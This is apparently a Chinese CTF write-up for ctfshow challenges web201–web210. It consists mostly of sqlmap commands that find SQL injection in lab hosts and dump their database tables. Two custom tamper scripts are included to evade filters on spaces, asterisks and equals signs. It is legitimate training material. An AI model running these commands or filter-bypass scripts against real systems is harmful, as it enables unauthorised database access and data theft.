Usage · sqlmapproject/sqlmap Wiki · GitHub
这几个题在B站ctfshow上都有讲解
1.web201
检测注入类型
python sqlmap.py -u http://75d6ef49-ed52-4bc1-bb21-5320fc6d1485.challenge.ctf.show/api/?id= --user-agent sqlmap --referer ctf.show
爆数据库
python sqlmap.py -u http://75d6ef49-ed52-4bc1-bb21-5320fc6d1485.challenge.ctf.show/api/?id= --user-agent sqlmap --referer ctf.show --dbs
爆表
python sqlmap.py -u http://75d6ef49-ed52-4bc1-bb21-5320fc6d1485.challenge.ctf.show/api/?id= --user-agent sqlmap --referer ctf.show -D ctfshow_web --tables
爆列
python sqlmap.py -u http://75d6ef49-ed52-4bc1-bb21-5320fc6d1485.challenge.ctf.show/api/?id= --user-agent sqlmap --referer ctf.show -D ctfshow_web -T ctfshow_user --columns
爆值
python sqlmap.py -u http://75d6ef49-ed52-4bc1-bb21-5320fc6d1485.challenge.ctf.show/api/?id= --user-agent sqlmap --referer ctf.show -D ctfshow_web -T ctfshow_user --dump
2.web202
尝试发现post传参
python .\sqlmap.py -u "http://ce5fe6af-a00b-4d38-846c-2e37abd1b73b.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer=ctf.show
python .\sqlmap.py -u "http://ce5fe6af-a00b-4d38-846c-2e37abd1b73b.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer=ctf.show -dbs
python .\sqlmap.py -u "http://ce5fe6af-a00b-4d38-846c-2e37abd1b73b.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables
python .\sqlmap.py -u "http://ce5fe6af-a00b-4d38-846c-2e37abd1b73b.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --columns
python .\sqlmap.py -u "http://ce5fe6af-a00b-4d38-846c-2e37abd1b73b.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump
3.web203
使用--method 调整sqlmap的请求方式,需要加上--headers="Content-Type: text/plain",否则是按表单提交的,put接收不到,并且这里 api 后面需要加上 index.php,前两个没加可以,但这里不行,有点问题。
python sqlmap.py -u "http://c8f3c528-08ec-4c49-8a4e-4af82c997731.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --
headers="Content-Type: text/plain" -D ctfshow_web -T ctfshow_user -C pass --dump
或者
python sqlmap.py -u http://1f1d5d23-fe13-43de-b12e-895e89af3af9.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://1f1d5d23-fe13-43de-b12e-895e89af3af9.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch --headers="Content-Type: text/plain"
4.web204
python .\sqlmap.py -u "http://4cd10d10-e0b6-4031-828e-da3c1633e456.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=oihemte7p4rs34c64h0atsblbf;ctfshow=046bfa5b36c9250a53c8b0495155882d" --user-agent=sqlmap --referer=ctf.show
python .\sqlmap.py -u "http://4cd10d10-e0b6-4031-828e-da3c1633e456.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=oihemte7p4rs34c64h0atsblbf;ctfshow=046bfa5b36c9250a53c8b0495155882d" --user-agent=sqlmap --referer=ctf.show --dbs
python .\sqlmap.py -u "http://4cd10d10-e0b6-4031-828e-da3c1633e456.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=oihemte7p4rs34c64h0atsblbf;ctfshow=046bfa5b36c9250a53c8b0495155882d" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables
python .\sqlmap.py -u "http://4ba2a81c-dad3-40af-bfee-dbbfaaddb975.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=d4u4mo5mckglok5lht9scfkvc6;ctfshow=c1ea482d65ba7d5c3d06aa8d69a40242" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump
5.web205
python .\sqlmap.py -u "http://41ace62b-80f5-4653-96fc-62994b5bacbb.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://41ace62b-80f5-4653-96fc-62994b5bacbb.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=6m26v1n6u0883a3pq5bqrg5s01" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables
python .\sqlmap.py -u "http://a56bac86-fa3d-4ab5-9718-c78b2332bc26.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://a56bac86-fa3d-4ab5-9718-c78b2332bc26.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=qcdco3dtv0sa4u7gq618t00vg3" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_flax --dump
6.web206
')的闭合的话,sqlmap会帮我们测试,和web205一样就行
python .\sqlmap.py -u "http://02afb928-4ab6-4b91-ac6a-785796b50426.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://02afb928-4ab6-4b91-ac6a-785796b50426.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=09372mc3dalk92f95ad8lhsuc4" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_flaxc --dump
7.web207(tamper的使用)
sqlmap的使用 ---- 自带绕过脚本tamper_sqlmap tamper 绕过单引号-CSDN博客
python sqlmap.py -u "http://4b2b74b5-66f8-4531-8a70-e2b34bb53982.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --cookie="PHPSESSID=hm8btumiskhiomn1c8fuidallc" --safe-url="http://4b2b74b5-66f8-4531-8a70-e2b34bb53982.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py -D ctfshow_web -T ctfshow_flaxca --dump
8.web208
python sqlmap.py -u "http://e0f68911-57ec-4bd8-b88e-5e766fed3acc.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --cookie="PHPSESSID=m7dv501t66bos2ooehlpg00bn6" --safe-url="http://e0f68911-57ec-4bd8-b88e-5e766fed3acc.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py,uppercase.py -D ctfshow_web -T ctfshow_flaxcac --dump
9.web209
过滤了空格、星号和等号
python sqlmap.py -u "http://f74fc8e5-27f6-44d6-a681-68f9c61fff58.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --cookie="PHPSESSID=l0d1v8dgqst5jl0kra0ofhb8ut" --safe-url="http://f74fc8e5-27f6-44d6-a681-68f9c61fff58.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=web209.py -D ctfshow_web -T ctfshow_flav --dump
web209.py如下:
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def tamper(payload, **kwargs):
payload = space2comment(payload)
return payload
def space2comment(payload):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x09)
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == '=':
retVal += chr(0x09) + 'like' + chr(0x09)
continue
elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x09)
continue
retVal += payload[i]
return retVal
10.web210
python sqlmap.py -u "http://780cf719-0d9c-4252-b4f1-3015b9766b2c.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --cookie="PHPSESSID=5s2stoolto23kcf55c6vs3b5k3" --safe-url="http://780cf719-0d9c-4252-b4f1-3015b9766b2c.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=web210.py -D ctfshow_web -T ctfshow_flavi --dump
web210.py如下:
import base64
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def tamper(payload, **kwargs):
payload = payload[::-1].encode()#将payload字符串反转。
payload = base64.b64encode(payload)
payload = (payload.decode())[::-1]
payload = base64.b64encode(payload.encode())
return payload.decode()